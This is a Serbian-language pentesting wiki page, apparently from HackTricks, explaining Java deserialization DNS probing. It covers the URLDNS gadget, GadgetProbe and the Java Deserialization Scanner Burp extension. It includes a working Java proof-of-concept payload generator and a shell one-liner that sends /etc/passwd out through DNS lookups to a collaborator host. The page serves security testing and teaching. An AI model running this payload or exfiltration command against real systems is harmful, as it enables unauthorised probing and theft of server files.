Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

DNS zahtev prilikom deserijalizacije

Klasa java.net.URL implementira Serializable, što znači da ova klasa može biti serializovana.

public final class URL implements java.io.Serializable {

Ova klasa ima zanimljivo ponašanje. Prema dokumentaciji: "Dva domaćina se smatraju ekvivalentnim ako se oba imena domaćina mogu prevesti u iste IP adrese". Zatim, svaki put kada objekat URL pozove bilo koju od funkcija equals ili hashCode poslaće se DNS zahtev da se dobije IP adresa.

Pozivanje funkcije hashCode iz objekta URL je prilično jednostavno, dovoljno je ubaciti ovaj objekat unutar HashMap koji će biti deserializovan. To je zato što se na kraju funkcije readObject iz HashMap izvršava ovaj kod:

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[   ...   ]
for (int i = 0; i < mappings; i++) {
[   ...   ]
putVal(hash(key), key, value, false, false);
}

To će izvršiti putVal sa svakom vrednošću unutar HashMap. Međutim, važniji je poziv funkcije hash sa svakom vrednošću. Ovo je kod funkcije hash:

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

Kao što možete primetiti, prilikom deserializacije HashMap-a funkcija hash će biti izvršena sa svakim objektom i tokom izvršenja hash-a biće izvršen .hashCode() objekta. Dakle, ako deserijalizujete HashMap koji sadrži objekat URL, objekat URL će izvršiti .hashCode().

Sada, pogledajmo kod URLObject.hashCode() :

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;

Kao što možete videti, kada URLObject izvrši .hashCode(), poziva se hashCode(this). Nastavak možete videti u kodu ove funkcije:

protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
[   ...   ]

Možete videti da se izvršava getHostAddress za domen, pokreće se DNS upit.

Stoga se ovaj razred može zloupotrebiti kako bi se pokrenuo DNS upit kako bi se pokazalo da je deserijalizacija moguća, ili čak da se eksfiltriraju informacije (možete dodati kao poddomen izlaz iz izvršenja komande).

Primer koda URLDNS payloada

Možete pronaći kod URLDNS payloada od ysoserial ovde. Međutim, samo radi lakšeg razumevanja kako ga kodirati, kreirao sam svoj PoC (baziran na onom iz ysoserial):

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}

public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);

//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}


class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

Više informacija

GadgetProbe

Možete preuzeti GadgetProbe sa Burp Suite App Store (Extender).

GadgetProbe će pokušati da utvrdi da li neke Java klase postoje na Java klasi servera kako biste znali da li je ranjiv na neki poznati eksploatacioni metod.

Kako radi

GadgetProbe će koristiti isti DNS payload iz prethodne sekcije ali pre slanja DNS upita će pokušati da deserijalizuje proizvoljnu klasu. Ako proizvoljna klasa postoji, DNS upit će biti poslat i GadgetProbe će zabeležiti da ta klasa postoji. Ako DNS zahtev nikada nije poslat, to znači da proizvoljna klasa nije uspešno deserijalizovana, pa ili nije prisutna ili nije serijalizovana/eksploatabilna.

Unutar github-a, GadgetProbe ima neke liste reči sa Java klasama koje treba testirati.

Više informacija

Java Deserialization Scanner

Ovaj skener možete preuzeti sa Burp App Store (Extender). Ova ekstenzija ima pasivne i aktivne mogućnosti.

Pasivne

Podrazumevano pasivno proverava sve zahteve i odgovore poslate tražeći Java serijalizovane magične bajtove i prikazaće upozorenje o ranjivosti ako ih pronađe:

Aktivne

Ručno testiranje

Možete izabrati zahtev, desni klik i Send request to DS - Manual Testing. Zatim, unutar Deserialization Scanner Tab --> Manual testing tab možete izabrati tačku umetanja. I pokrenuti testiranje (Izaberite odgovarajući napad u zavisnosti od korišćenog enkodiranja).

Iako se ovo naziva "Ručno testiranje", prilično je automatizovano. Automatski će proveriti da li je deserijalizacija ranjiva na bilo koji ysoserial payload proveravajući biblioteke prisutne na web serveru i istaćiće one koje su ranjive. Da biste proverili za ranjive biblioteke možete izabrati da pokrenete Javas Sleeps, sleeps putem CPU potrošnje, ili korišćenjem DNS-a kako je prethodno pomenuto.

Eksploatisanje

Kada identifikujete ranjivu biblioteku, možete poslati zahtev na Exploiting Tab. U ovom tabu ponovo morate izabrati tačku ubacivanja, napisati ranjivu biblioteku za koju želite da napravite payload, i komandu. Zatim, samo pritisnite odgovarajući Attack dugme.

Java Deserialization DNS Exfil informacije

Napravite svoj payload da izvrši nešto slično sledećem:

(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)

Više informacija

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated